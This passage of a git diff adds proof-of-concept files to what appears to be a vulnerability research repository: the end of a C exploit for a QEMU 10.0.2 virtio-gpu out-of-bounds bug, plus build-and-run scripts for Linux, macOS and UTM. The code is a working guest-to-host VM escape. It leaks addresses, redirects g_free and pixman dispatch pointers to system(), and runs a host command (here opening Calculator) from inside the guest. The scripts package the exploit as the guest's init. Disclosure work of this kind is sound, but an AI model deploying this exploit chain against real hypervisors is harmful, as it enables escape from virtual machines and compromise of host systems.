ents[0..15], the short-read check + * fires, and the error path does a single g_free(ents) -> + * system(payload). Verified at 0x359220 in UTM 4.7.5 + * qemu-aarch64-softmmu. + */ + printf("========================================\n"); + printf(" Phase 3b/4b: QEMU g_free -> system\n"); + printf("========================================\n\n"); + + uint64_t la_gfree_off = qemu_oob + QEMU_LA_G_FREE; + printf("[*] la_symbol_ptr[g_free]: OOB +0x%lx -> system 0x%lx\n", + (unsigned long)la_gfree_off, (unsigned long)system_addr); + if (oob_write_8(RES_EXPLOIT, la_gfree_off, system_addr)) { + printf("[!] Failed to overwrite g_free la_ptr\n"); + return 1; + } + printf(" [+] g_free stub now jumps to system()\n\n"); + + static const char payload[] = "open -a Calculator"; + printf("[*] Triggering short-read ATTACH_BACKING on res %d\n", + SPRAY_RES_START); + printf(" payload %zuB < nr_entries*16 -> g_free(ents)\n", + sizeof(payload)); + printf(" -> system(\"%s\")\n\n", payload); + cmd_attach_backing_short(SPRAY_RES_START, payload, sizeof(payload)); + + sleep(2); + printf("========================================\n"); + printf(" Exploit complete (QEMU-la_ptr chain).\n"); + printf(" Calculator.app should be open on host.\n"); + printf("========================================\n"); + return 0; + } + + pixman_oob = pixman_base - pixbuf_addr; + via_qemu_got = 1; + ret_gadget = pixman_base + PIXMAN_RET_GADGET; + printf(" pixman OOB offset = +0x%lx\n", (unsigned long)pixman_oob); + printf(" ret gadget = 0x%lx\n", (unsigned long)ret_gadget); + printf("\n[+] Addresses derived via QEMU GOT\n\n"); + goto phase3; + } + +found_pixman: + printf("\n[*] UTM pixman at OOB +0x%lx\n", (unsigned long)pixman_oob); + { + /* --- Read pixman lazy sym ptr → shared cache slide --- */ + printf("[*] Reading pixman __la_symbol_ptr[free] at +0x%lx...\n", + (unsigned long)(pixman_oob + PIXMAN_LAZY_FREE)); + + uint8_t got_buf[8]; + if (oob_read(RES_EXPLOIT, pixman_oob + PIXMAN_LAZY_FREE, got_buf, 8)) { + printf("[!] Failed to read pixman lazy pointer\n"); + return 1; + } + uint64_t free_resolved; + memcpy(&free_resolved, got_buf, 8); + printf(" free() resolved = 0x%lx\n", (unsigned long)free_resolved); + + if (free_resolved < 0x180000000ULL || free_resolved > 0x280000000ULL) { + printf("[!] free() address 0x%lx not in shared cache range\n", + (unsigned long)free_resolved); + return 1; + } + + sc_slide = free_resolved - FREE_UNSLID; + system_addr = SYSTEM_UNSLID + sc_slide; + printf(" shared cache slide = 0x%lx\n", (unsigned long)sc_slide); + printf(" system() = 0x%lx\n", (unsigned long)system_addr); + + /* --- Read pixman rebase → pixbuf absolute address --- */ + printf("[*] Reading pixman __mod_init_func at +0x%lx...\n", + (unsigned long)(pixman_oob + PIXMAN_REBASE0)); + + uint8_t reb_buf[8]; + if (oob_read(RES_EXPLOIT, pixman_oob + PIXMAN_REBASE0, reb_buf, 8)) { + printf("[!] Failed to read pixman rebase\n"); + return 1; + } + uint64_t rebase_val; + memcpy(&rebase_val, reb_buf, 8); + printf(" __mod_init_func[0] = 0x%lx (_pixman_constructor)\n", + (unsigned long)rebase_val); + + pixman_base = rebase_val - PIXMAN_REBASE0_TGT; + pixbuf_addr = pixman_base - pixman_oob; + ret_gadget = pixman_base + PIXMAN_RET_GADGET; + + printf(" pixman base = 0x%lx\n", (unsigned long)pixman_base); + printf(" pixbuf addr = 0x%lx\n", (unsigned long)pixbuf_addr); + printf(" ret gadget = 0x%lx\n", (unsigned long)ret_gadget); + + if (pixbuf_addr < 0x100000000ULL || pixbuf_addr > 0x800000000ULL) { + printf("[!] pixbuf address looks invalid\n"); + return 1; + } + + printf("\n[+] All addresses resolved (direct pixman scan)\n\n"); + } + +phase3: + + /* ========== Phase 3: Write fake implementation struct ========== */ + + printf("========================================\n"); + printf(" Phase 3: Plant fake pixman struct\n"); + printf("========================================\n\n"); + + uint8_t fake[112]; + memset(fake, 0, sizeof(fake)); + + /* + * pixman_implementation_t layout: + * 0x00 toplevel (8B) — system() reads this as C string + * 0x08 delegate (8B) — not followed if fast_path matches + * 0x10 fast_paths (8B) — must be valid pointer + * + * Max command at offset 0: 15 bytes (null at 0x0F, fps_ptr at 0x10). + * "open -a Calculator" is 18 chars — doesn't fit. + * + * Solution: put the long command at offset 0x80 in the buffer. + * At offset 0x00, put "sh /tmp/_q\0" (10 chars). + * Before triggering, use OOB write to create /tmp/_q by writing + * the real command to offset 0x80 and... no, we can't create files. + * + * Alternative: use sh -c with heredoc? No, 15 chars is too short. + * + * Practical: use "open -a Chess\0" (14 chars) — fits in 15 bytes, + * opens a visible GUI app as proof of code execution. + * Also works: "say pwned\0" (10 chars) for audio proof. + */ + #define CMD_STR "open /*/*/Calc*" + memcpy(fake, CMD_STR, sizeof(CMD_STR)); + + uint64_t fps_ptr = pixbuf_addr + 0x40; + memcpy(fake + 0x10, &fps_ptr, 8); + + uint32_t u32; + u32 = PIXMAN_OP_ANY_VAL; + memcpy(fake + 0x40, &u32, 4); + u32 = PIXMAN_FMT_ANY_VAL; + memcpy(fake + 0x44, &u32, 4); + memcpy(fake + 0x4C, &u32, 4); + memcpy(fake + 0x54, &u32, 4); + memcpy(fake + 0x60, &system_addr, 8); + u32 = PIXMAN_OP_NONE_VAL; + memcpy(fake + 0x68, &u32, 4); + + printf("[*] Fake struct (112 bytes):\n"); + printf(" cmd = \"%s\"\n", CMD_STR); + printf(" fps_ptr = 0x%lx\n", (unsigned long)fps_ptr); + printf(" func = 0x%lx (system)\n", (unsigned long)system_addr); + + printf("[*] Writing fake struct to pixbuf...\n"); + memcpy(data_region, fake, sizeof(fake)); + if (cmd_transfer(RES_EXPLOIT, 0, 0, 28, 1, 0)) { + printf("[!] Transfer failed\n"); + return 1; + } + printf(" [+] Fake implementation struct planted\n\n"); + + /* ========== Phase 4: OOB writes to pixman __DATA ========== */ + + printf("========================================\n"); + printf(" Phase 4: Hijack pixman dispatch\n"); + printf("========================================\n\n"); + + uint64_t tls_off = pixman_oob + PIXMAN_TLS_THUNK; + printf("[*] TLS thunk: OOB +0x%lx -> ret gadget 0x%lx\n", + (unsigned long)tls_off, (unsigned long)ret_gadget); + if (oob_write_8(RES_EXPLOIT, tls_off, ret_gadget)) { + printf("[!] Failed to overwrite TLS thunk\n"); + return 1; + } + printf(" [+] TLS cache bypassed\n"); + + uint64_t imp_off = pixman_oob + PIXMAN_GLOBAL_IMP; + printf("[*] _global_implementation: OOB +0x%lx -> pixbuf 0x%lx\n", + (unsigned long)imp_off, (unsigned long)pixbuf_addr); + if (oob_write_8(RES_EXPLOIT, imp_off, pixbuf_addr)) { + printf("[!] Failed to overwrite _global_implementation\n"); + return 1; + } + printf(" [+] Dispatch redirected to fake struct\n\n"); + + /* ========== Phase 5: Trigger ========== */ + + printf("========================================\n"); + printf(" Phase 5: Trigger — pop calc\n"); + printf("========================================\n\n"); + + printf("[*] Triggering VNC framebuffer composite...\n"); + printf(" pixman_image_composite32()\n"); + printf(" -> TLS cache miss (thunk = ret)\n"); + printf(" -> _global_implementation -> fake struct\n"); + printf(" -> wildcard fast_path match\n"); + printf(" -> system(\"%s\")\n", CMD_STR); + printf(" -> opens Calculator on host\n\n"); + + cmd_set_scanout(RES_EXPLOIT, 0, 0, 64, 64); + cmd_resource_flush(RES_EXPLOIT, 64, 64); + usleep(100000); + + uint8_t trigger_buf[64 * 64 * 4]; + vnc_read_framebuffer(trigger_buf, sizeof(trigger_buf), 64, 64); + + sleep(2); + + printf("========================================\n"); + printf(" Exploit complete.\n"); + printf(" Calculator.app should be open on host.\n"); + printf("========================================\n"); + + return 0; +} diff --git a/MADBugs/qemu/run_poc_linux.sh b/MADBugs/qemu/run_poc_linux.sh new file mode 100755 index 0000000..abe78aa --- /dev/null +++ b/MADBugs/qemu/run_poc_linux.sh @@ -0,0 +1,192 @@ +#!/bin/bash +# +# run_poc_linux.sh — Build QEMU 10.0.2 and prepare a guest VM for the +# virtio-gpu exploit on Linux aarch64. +# +# Prerequisites: +# - Linux aarch64 host (Debian bookworm or similar) +# - Build dependencies: gcc, meson, ninja, pkg-config, +# libglib2.0-dev, libpixman-1-dev, libslirp-dev, flex, bison +# - aarch64-linux-gnu-gcc (or native gcc for static guest binary) +# +# Usage: +# ./run_poc_linux.sh # build everything +# ./run_poc_linux.sh run # run the VM (after building) +# +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +WORK_DIR="/tmp/qemu-exploit" +QEMU_VER="10.0.2" +QEMU_URL="https://download.qemu.org/qemu-${QEMU_VER}.tar.xz" +QEMU_BIN="$WORK_DIR/qemu-${QEMU_VER}/build-exploit/qemu-system-aarch64" + +# Ensure meson/ninja are on PATH (pip-installed location) +for d in \ + /home/node/.local/share/uv/python/cpython-3.13.12-linux-aarch64-gnu/bin \ + "$HOME/.local/bin"; do + [ -d "$d" ] && export PATH="$d:$PATH" +done + +mkdir -p "$WORK_DIR" + +# ---------- Step 1: Build QEMU ---------- + +build_qemu() { + echo "=== Building QEMU ${QEMU_VER} ===" + cd "$WORK_DIR" + + if [ ! -f "qemu-${QEMU_VER}.tar.xz" ]; then + echo "Downloading QEMU source..." + wget -q "$QEMU_URL" + fi + + if [ ! -d "qemu-${QEMU_VER}" ]; then + echo "Extracting..." + tar xf "qemu-${QEMU_VER}.tar.xz" + fi + + cd "qemu-${QEMU_VER}" + + # Check if already built (binary exists, not just the directory) + if [ -x "build-exploit/qemu-system-aarch64" ]; then + echo "QEMU already built." + echo "QEMU binary: $QEMU_BIN" + return + fi + + # Clean up any failed prior attempt + rm -rf build-exploit + mkdir build-exploit + cd build-exploit + + echo "Configuring..." + ../configure \ + --target-list=aarch64-softmmu \ + --enable-kvm \ + --enable-vnc \ + --enable-slirp \ + --disable-docs \ + --disable-werror + + echo "Building (this may take a few minutes)..." + ninja -j"$(nproc)" + + echo "QEMU binary: $QEMU_BIN" +} + +# ---------- Step 2: Build the exploit ---------- + +build_exploit() { + echo "=== Building exploit ===" + cd "$SCRIPT_DIR" + + # Try native gcc first (if on aarch64), then cross-compiler + if command -v aarch64-linux-gnu-gcc &>/dev/null; then + CC=aarch64-linux-gnu-gcc + elif [ "$(uname -m)" = "aarch64" ]; then + CC=gcc + else + echo "ERROR: No aarch64 compiler found" + exit 1 + fi + + $CC -static -O2 -o exploit_linux exploit_linux.c + echo "Exploit binary: $SCRIPT_DIR/exploit_linux" +} + +# ---------- Step 3: Prepare guest initramfs ---------- + +prepare_guest() { + echo "=== Preparing guest VM ===" + cd "$WORK_DIR" + + # Download matching Alpine kernel + initramfs (must be same version for modules) + ALPINE_BASE_URL="https://dl-cdn.alpinelinux.org/alpine/v3.21/releases/aarch64/netboot" + VMLINUZ="$WORK_DIR/vmlinuz-alpine" + ALPINE_INITRAMFS="$WORK_DIR/initramfs-alpine" + + if [ ! -f "$VMLINUZ" ]; then + echo "Downloading Alpine kernel..." + wget -q -O "$VMLINUZ" "$ALPINE_BASE_URL/vmlinuz-virt" + fi + if [ ! -f "$ALPINE_INITRAMFS" ]; then + echo "Downloading Alpine initramfs (for busybox + modules)..." + wget -q -O "$ALPINE_INITRAMFS" "$ALPINE_BASE_URL/initramfs-virt" + fi + + # Build initramfs: extract Alpine base, overlay exploit as /init + INITRAMFS_DIR="$WORK_DIR/initramfs_mod" + rm -rf "$INITRAMFS_DIR" + mkdir -p "$INITRAMFS_DIR" + cd "$INITRAMFS_DIR" + + echo "Extracting Alpine initramfs..." + gunzip -c "$ALPINE_INITRAMFS" | cpio -id 2>/dev/null || true + + # The exploit binary IS /init — it detects PID 1 and sets up + # mounts, loads modules, configures networking, then runs the exploit. + cp "$SCRIPT_DIR/exploit_linux" init + chmod +x init + + # Pack the initramfs + echo "Packing initramfs..." + find . | cpio -o -H newc 2>/dev/null | gzip > "$WORK_DIR/initramfs-exploit.gz" + echo "Initramfs: $WORK_DIR/initramfs-exploit.gz ($(du -h "$WORK_DIR/initramfs-exploit.gz" | cut -f1))" + echo "Kernel: $VMLINUZ" +} + +# ---------- Step 4: Run the VM ---------- + +run_vm() { + VMLINUZ="$WORK_DIR/vmlinuz-alpine" + INITRD="$WORK_DIR/initramfs-exploit.gz" + + if [ ! -x "$QEMU_BIN" ]; then + echo "ERROR: QEMU not built. Run: $0" + exit 1 + fi + if [ ! -f "$INITRD" ]; then + echo "ERROR: initramfs not built. Run: $0" + exit 1 + fi + + # Kill any stale QEMU from a previous run + pkill -9 -f "qemu-system-aarch64" 2>/dev/null || true + sleep 2 + + echo "=== Running exploit VM ===" + echo "VNC server on :0 (port 5900)" + echo "" + + "$QEMU_BIN" \ + -accel kvm \ + -M virt \ + -cpu host \ + -m 512 \ + -kernel "$VMLINUZ" \ + -initrd "$INITRD" \ + -append "console=ttyAMA0 iommu.passthrough=1 rdinit=/init" \ + -device virtio-gpu-pci \ + -nic user,model=virtio-net-pci \ + -vnc :0 -display none \ + -chardev file,id=ser0,path=/tmp/qemu_serial.log \ + -serial chardev:ser0 \ + -no-reboot +} + +# ---------- Main ---------- + +if [ "${1:-}" = "run" ]; then + run_vm +else + build_qemu + build_exploit + prepare_guest + echo "" + echo "=== Build complete ===" + echo "Run the exploit VM with: $0 run" + echo "" + echo "After ~30 seconds, check the host for /tmp/pwn:" + echo " ls -la /tmp/pwn" +fi diff --git a/MADBugs/qemu/run_poc_macos.sh b/MADBugs/qemu/run_poc_macos.sh new file mode 100755 index 0000000..1159841 --- /dev/null +++ b/MADBugs/qemu/run_poc_macos.sh @@ -0,0 +1,232 @@ +#!/bin/bash +# +# run_poc_macos.sh — Build vulnerable QEMU 10.0.2 and run the +# virtio-gpu calc_image_hostmem exploit end-to-end on macOS arm64. +# +# Apple Silicon only. The exploit's pixman offsets are baked for the +# homebrew arm64 dylib; an Intel Mac needs a different build of pixman +# and a different exploit. +# +# Usage: +# ./run_poc_macos.sh # install deps, build everything +# ./run_poc_macos.sh run # launch the VM (after building) +# ./run_poc_macos.sh clean # wipe the work dir +# +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +WORK_DIR="${TMPDIR:-/tmp}/qemu-macos-exploit" +QEMU_VER="10.0.2" +QEMU_URL="https://download.qemu.org/qemu-${QEMU_VER}.tar.xz" +QEMU_BIN="$WORK_DIR/qemu-${QEMU_VER}/build-exploit/qemu-system-aarch64" +ALPINE_BASE="https://dl-cdn.alpinelinux.org/alpine/v3.21/releases/aarch64/netboot" + +# ---------- preflight ---------- + +preflight() { + if [ "$(uname -s)" != "Darwin" ]; then + echo "ERROR: this script is for macOS. For Linux use run_poc_linux.sh." + exit 1 + fi + if [ "$(uname -m)" != "arm64" ]; then + echo "ERROR: Apple Silicon only — exploit offsets are arm64-specific." + exit 1 + fi + if ! command -v brew >/dev/null 2>&1; then + echo "ERROR: Homebrew not found. Install from https://brew.sh first." + exit 1 + fi +} + +# ---------- deps ---------- + +install_deps() { + echo "=== Installing build dependencies ===" + + local pkgs=(pixman glib libpng pkg-config ninja meson) + for p in "${pkgs[@]}"; do + if ! brew list --formula "$p" >/dev/null 2>&1; then + echo "Installing $p..." + brew install "$p" + fi + done + + if ! command -v aarch64-linux-musl-gcc >/dev/null 2>&1; then + echo "Installing aarch64-linux-musl cross-compiler..." + brew tap filosottile/musl-cross 2>/dev/null || true + brew install filosottile/musl-cross/musl-cross --with-aarch64 + fi +} + +# ---------- QEMU 10.0.2 ---------- + +build_qemu() { + echo "=== Building QEMU ${QEMU_VER} ===" + mkdir -p "$WORK_DIR" + cd "$WORK_DIR" + + if [ -x "$QEMU_BIN" ]; then + echo "QEMU already built at $QEMU_BIN" + return + fi + + if [ ! -f "qemu-${QEMU_VER}.tar.xz" ]; then + echo "Downloading QEMU source..." + curl -fL -o "qemu-${QEMU_VER}.tar.xz" "$QEMU_URL" + fi + if [ ! -d "qemu-${QEMU_VER}" ]; then + tar xf "qemu-${QEMU_VER}.tar.xz" + fi + + cd "qemu-${QEMU_VER}" + rm -rf build-exploit && mkdir build-exploit && cd build-exploit + + echo "Configuring (HVF + VNC)..." + ../configure \ + --target-list=aarch64-softmmu \ + --enable-hvf \ + --enable-vnc \ + --enable-slirp \ + --disable-docs \ + --disable-werror + + echo "Building..." + ninja -j"$(sysctl -n hw.ncpu)" + + echo "QEMU: $QEMU_BIN" +} + +# ---------- exploit binary ---------- + +build_exploit() { + echo "=== Building exploit ===" + cd "$SCRIPT_DIR" + aarch64-linux-musl-gcc -static -O2 -o exploit exploit.c + echo "Exploit: $SCRIPT_DIR/exploit" +} + +# ---------- guest assets ---------- + +prepare_guest() { + echo "=== Preparing guest VM ===" + mkdir -p "$WORK_DIR" + + local vmlinuz="$WORK_DIR/vmlinuz-virt" + local alpine_initramfs="$WORK_DIR/initramfs-alpine" + + # Always download Alpine's kernel paired with its initramfs — modules + # under /lib/modules// in the initramfs only load against the + # matching kernel version. Reusing the repo's vmlinuz here causes + # modprobe virtio_net to silently fail and the guest loses networking. + if [ ! -f "$vmlinuz" ]; then + echo "Downloading Alpine kernel..." + curl -fL -o "$vmlinuz" "$ALPINE_BASE/vmlinuz-virt" + fi + if [ ! -f "$alpine_initramfs" ]; then + echo "Downloading Alpine initramfs (for busybox)..." + curl -fL -o "$alpine_initramfs" "$ALPINE_BASE/initramfs-virt" + fi + + # Build initramfs: Alpine base + freshly-built exploit + init script. + local ifs_dir="$WORK_DIR/initramfs_mod" + rm -rf "$ifs_dir" && mkdir -p "$ifs_dir" + (cd "$ifs_dir" && gunzip -c "$alpine_initramfs" | cpio -id 2>/dev/null) || true + + mkdir -p "$ifs_dir/bin" + cp "$SCRIPT_DIR/exploit" "$ifs_dir/bin/exploit" + chmod +x "$ifs_dir/bin/exploit" + + cat > "$ifs_dir/init" << 'INITEOF' +#!/bin/sh +/bin/busybox --install -s 2>/dev/null +export PATH="/usr/bin:/bin:/usr/sbin:/sbin" + +mount -t proc proc /proc 2>/dev/null +mount -t sysfs sysfs /sys 2>/dev/null +mount -t devtmpfs devtmpfs /dev 2>/dev/null + +echo "=====================================" +echo " virtio-gpu OOB exploit guest" +echo "=====================================" + +sleep 1 +modprobe virtio_net 2>/dev/null +sleep 1 + +ip link set lo up 2>/dev/null +ip link set eth0 up 2>/dev/null +ip addr add 10.0.2.15/24 dev eth0 2>/dev/null +ip route add default via 10.0.2.2 2>/dev/null +sleep 2 + +/bin/exploit +echo "Exploit finished (exit code: $?). Dropping to shell." +exec /bin/sh +INITEOF + chmod +x "$ifs_dir/init" + + (cd "$ifs_dir" && find . | cpio -o -H newc 2>/dev/null | gzip > "$WORK_DIR/initramfs-exploit.gz") + echo "Initramfs: $WORK_DIR/initramfs-exploit.gz ($(du -h "$WORK_DIR/initramfs-exploit.gz" | cut -f1))" + echo "Kernel: $vmlinuz" +} + +# ---------- run ---------- + +run_vm() { + local vmlinuz="$WORK_DIR/vmlinuz-virt" + local initrd="$WORK_DIR/initramfs-exploit.gz" + + [ -x "$QEMU_BIN" ] || { echo "ERROR: QEMU not built. Run: $0"; exit 1; } + [ -f "$initrd" ] || { echo "ERROR: initramfs missing. Run: $0"; exit 1; } + [ -f "$vmlinuz" ] || { echo "ERROR: kernel missing. Run: $0"; exit 1; } + + pkill -9 -f "qemu-system-aarch64" 2>/dev/null || true + sleep 1 + + echo "=== Running exploit VM (HVF) ===" + echo "VNC server on 127.0.0.1:5900 (guest reaches it via 10.0.2.2:5900)" + echo "Calculator.app should open within ~30 seconds." + echo + + "$QEMU_BIN" \ + -accel hvf \ + -M virt \ + -cpu host \ + -m 512 \ + -kernel "$vmlinuz" \ + -initrd "$initrd" \ + -append "console=ttyAMA0 iommu.passthrough=1 rdinit=/init" \ + -device virtio-gpu-pci \ + -nic user,model=virtio-net-pci \ + -vnc 127.0.0.1:0 \ + -display none \ + -nographic \ + -no-reboot +} + +# ---------- main ---------- + +case "${1:-build}" in + run) + run_vm + ;; + clean) + echo "Removing $WORK_DIR" + rm -rf "$WORK_DIR" + rm -f "$SCRIPT_DIR/exploit" + ;; + build|"") + preflight + install_deps + build_qemu + build_exploit + prepare_guest + echo + echo "=== Build complete ===" + echo "Run with: $0 run" + ;; + *) + echo "Usage: $0 [build|run|clean]" + exit 1 + ;; +esac diff --git a/MADBugs/qemu/run_poc_utm.sh b/MADBugs/qemu/run_poc_utm.sh new file mode 100755 index 0000000..d112908 --- /dev/null +++ b/MADBugs/qemu/run_poc_utm.sh @@ -0,0 +1,400 @@ +#!/bin/bash +# +# run_poc_utm.sh — Build the SPICE-safe virtio-gpu exploit and +# provision a UTM.app VM that runs it end-to-end. +# +# UTM bundles its own QEMU 10.0.2, so unlike run_poc_macos.sh we +# don't build QEMU here. We do build the exploit and pack a fresh +# initramfs, then write the UTM VM bundle (config.plist + data files). +# +# Usage: +# ./run_poc_utm.sh # install deps, build, provision VM +# ./run_poc_utm.sh run # start the VM via utmctl (if available) +# ./run_poc_utm.sh stop # stop the VM +# ./run_poc_utm.sh clean # remove VM bundle + work dir +# +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +WORK_DIR="${TMPDIR:-/tmp}/qemu-utm-exploit" +ALPINE_BASE="https://dl-cdn.alpinelinux.org/alpine/v3.21/releases/aarch64/netboot" + +UTM_DOCS="$HOME/Library/Containers/com.utmapp.UTM/Data/Documents" +UTMCTL="/Applications/UTM.app/Contents/MacOS/utmctl" +VM_NAME="exploit-test" +VM_DIR="$UTM_DOCS/$VM_NAME.utm" + +# ---------- preflight ---------- + +preflight() { + if [ "$(uname -s)" != "Darwin" ]; then + echo "ERROR: this script is for macOS." + exit 1 + fi + if [ "$(uname -m)" != "arm64" ]; then + echo "ERROR: Apple Silicon only — exploit offsets are arm64-specific." + exit 1 + fi + if [ ! -d "/Applications/UTM.app" ]; then + echo "ERROR: UTM.app not found. Install from https://mac.getutm.app or the App Store." + exit 1 + fi + if [ ! -d "$UTM_DOCS" ]; then + echo "ERROR: UTM container directory missing — launch UTM.app once so it initialises:" + echo " open -a UTM" + exit 1 + fi + if ! command -v brew >/dev/null 2>&1; then + echo "ERROR: Homebrew not found. Install from https://brew.sh first." + exit 1 + fi +} + +# ---------- deps ---------- + +install_deps() { + echo "=== Installing build dependencies ===" + if ! command -v aarch64-linux-musl-gcc >/dev/null 2>&1; then + echo "Installing aarch64-linux-musl cross-compiler..." + brew tap filosottile/musl-cross 2>/dev/null || true + brew install filosottile/musl-cross/musl-cross --with-aarch64 + fi +} + +# ---------- exploit ---------- + +build_exploit() { + echo "=== Building SPICE-safe exploit (exploit_utm.c) ===" + cd "$SCRIPT_DIR" + aarch64-linux-musl-gcc -static -O2 -o exploit_utm exploit_utm.c + echo "Exploit: $SCRIPT_DIR/exploit_utm" +} + +# ---------- guest assets ---------- + +prepare_guest() { + echo "=== Preparing guest assets ===" + mkdir -p "$WORK_DIR" + + local vmlinuz="$WORK_DIR/vmlinuz-virt" + local alpine_initramfs="$WORK_DIR/initramfs-alpine" + + # Always download a matched kernel + initramfs from the same Alpine release; + # mixing versions causes modprobe virtio_net to silently fail and the guest + # loses its NIC (so the exploit can't reach the host's VNC at 10.0.2.2). + if [ ! -f "$vmlinuz" ]; then + echo "Downloading Alpine kernel..." + curl -fL -o "$vmlinuz" "$ALPINE_BASE/vmlinuz-virt" + fi + if [ ! -f "$alpine_initramfs" ]; then + echo "Downloading Alpine initramfs..." + curl -fL -o "$alpine_initramfs" "$ALPINE_BASE/initramfs-virt" + fi + + local ifs_dir="$WORK_DIR/initramfs_mod" + rm -rf "$ifs_dir" && mkdir -p "$ifs_dir" + (cd "$ifs_dir" && gunzip -c "$alpine_initramfs" | cpio -id 2>/dev/null) || true + + mkdir -p "$ifs_dir/bin" + cp "$SCRIPT_DIR/exploit_utm" "$ifs_dir/bin/exploit" + chmod +x "$ifs_dir/bin/exploit" + + cat > "$ifs_dir/init" << 'INITEOF' +#!/bin/sh +/bin/busybox --install -s 2>/dev/null +export PATH="/usr/bin:/bin:/usr/sbin:/sbin" + +mount -t proc proc /proc 2>/dev/null +mount -t sysfs sysfs /sys 2>/dev/null +mount -t devtmpfs devtmpfs /dev 2>/dev/null + +echo "=====================================" +echo " virtio-gpu OOB exploit guest (UTM)" +echo "=====================================" + +sleep 1 +modprobe virtio_net 2>/dev/null +sleep 1 + +ip link set lo up 2>/dev/null +ip link set eth0 up 2>/dev/null +ip addr add 10.0.2.15/24 dev eth0 2>/dev/null +ip route add default via 10.0.2.2 2>/dev/null +sleep 2 + +/bin/exploit +echo "Exploit finished (exit code: $?). Dropping to shell." +exec /bin/sh +INITEOF + chmod +x "$ifs_dir/init" + + (cd "$ifs_dir" && find . | cpio -o -H newc 2>/dev/null | gzip > "$WORK_DIR/initramfs-exploit.gz") + echo "Initramfs: $WORK_DIR/initramfs-exploit.gz ($(du -h "$WORK_DIR/initramfs-exploit.gz" | cut -f1))" + echo "Kernel: $vmlinuz" +} + +# ---------- UTM VM bundle ---------- + +provision_vm() { + echo "=== Provisioning UTM VM '$VM_NAME' ===" + + if [ -d "$VM_DIR" ]; then + echo "VM bundle already exists; refreshing kernel + initramfs in place." + cp "$WORK_DIR/vmlinuz-virt" "$VM_DIR/Data/vmlinuz-virt" + cp "$WORK_DIR/initramfs-exploit.gz" "$VM_DIR/Data/initramfs-exploit.gz" + echo "Done. Open UTM and start '$VM_NAME', or run: $0 run" + return + fi + + local uuid mac + uuid=$(uuidgen) + mac=$(printf '1e:%02x:%02x:%02x:%02x:%02x' \ + $((RANDOM%256)) $((RANDOM%256)) $((RANDOM%256)) \ + $((RANDOM%256)) $((RANDOM%256))) + + mkdir -p "$VM_DIR/Data" + cp "$WORK_DIR/vmlinuz-virt" "$VM_DIR/Data/vmlinuz-virt" + cp "$WORK_DIR/initramfs-exploit.gz" "$VM_DIR/Data/initramfs-exploit.gz" + + cat > "$VM_DIR/config.plist" << PLIST + + + + + Backend + QEMU + ConfigurationVersion + 4 + Display + + Drive + + + Identifier + $(uuidgen) + ImageName + vmlinuz-virt + ImageType + LinuxKernel + Interface + None + InterfaceVersion + 1 + ReadOnly + + + + Identifier + $(uuidgen) + ImageName + initramfs-exploit.gz + ImageType + LinuxInitrd + Interface + None + InterfaceVersion + 1 + ReadOnly + + + + Information + + Icon + linux + IconCustom + + Name + $VM_NAME + UUID + $uuid + + Input + + MaximumUsbShare + 3 + UsbBusSupport + 2.0 + UsbSharing + + + Network + + + Hardware + virtio-net-pci + IsolateFromHost + + MacAddress + $mac + Mode + Emulated + PortForward + + + + QEMU + + AdditionalArguments + + -device + virtio-gpu-pci + -vnc + 127.0.0.1:0 + -nographic + -append + UTMAPP + + BalloonDevice + + DebugLog + + Hypervisor + + PS2Controller + + RNGDevice + + RTCLocalTime + + TPMDevice + + TSO + + UEFIBoot + + + Serial + + + Mode + Terminal + Target + Auto + Terminal + + BackgroundColor + #000000 + CursorBlink + + Font + Menlo + FontSize + 12 + ForegroundColor + #ffffff + + + + Sharing + + ClipboardSharing + + DirectoryShareMode + None + DirectoryShareReadOnly + + + Sound + + System + + Architecture + aarch64 + CPU + host + CPUCount + 0 + CPUFlagsAdd + + CPUFlagsRemove + + ForceMulticore + + JITCacheSize + 0 + MemorySize + 512 + Target + virt + + + +PLIST + + echo "VM bundle: $VM_DIR" +} + +# ---------- run / stop ---------- + +run_vm() { + [ -d "$VM_DIR" ] || { echo "ERROR: VM not provisioned. Run: $0"; exit 1; } + + # UTM only enumerates VM bundles at launch or when one is explicitly + # opened. A freshly-provisioned bundle is invisible to utmctl until + # UTM has been told about it, hence the launch-then-open dance. + if ! pgrep -x UTM >/dev/null 2>&1; then + echo "Launching UTM.app..." + open -a UTM + sleep 3 + fi + + if [ -x "$UTMCTL" ] && ! "$UTMCTL" list 2>/dev/null | grep -q "$VM_NAME"; then + echo "Registering '$VM_NAME' with UTM..." + open "$VM_DIR" + # Give UTM a moment to import; poll utmctl rather than guessing. + for _ in 1 2 3 4 5 6 7 8 9 10; do + "$UTMCTL" list 2>/dev/null | grep -q "$VM_NAME" && break + sleep 1 + done + fi + + if [ -x "$UTMCTL" ]; then + echo "Starting '$VM_NAME' via utmctl..." + if "$UTMCTL" start "$VM_NAME"; then + echo "VM started. Calculator.app should open within ~30 seconds." + echo "Watch the serial console in UTM for exploit progress." + else + echo "utmctl start failed. Open UTM.app and start '$VM_NAME' manually." + exit 1 + fi + else + echo "utmctl not found. Open UTM.app and start '$VM_NAME' manually." + fi +} + +stop_vm() { + if [ -x "$UTMCTL" ]; then + "$UTMCTL" stop "$VM_NAME" 2>/dev/null || true + fi +} + +# ---------- main ---------- + +case "${1:-build}" in + run) run_vm ;; + stop) stop_vm ;; + clean) + stop_vm + echo "Removing $VM_DIR" + rm -rf "$VM_DIR" + echo "Removing $WORK_DIR" + rm -rf "$WORK_DIR" + rm -f "$SCRIPT_DIR/exploit_utm" + ;; + build|"") + preflight + install_deps + build_exploit + prepare_guest + provision_vm + echo + echo "=== Build complete ===" + echo "Start the VM with: $0 run" + echo "Or open UTM.app and click '$VM_NAME'." + ;; + *) + echo "Usage: $0 [build|run|stop|clean]" + exit 1 + ;; +esac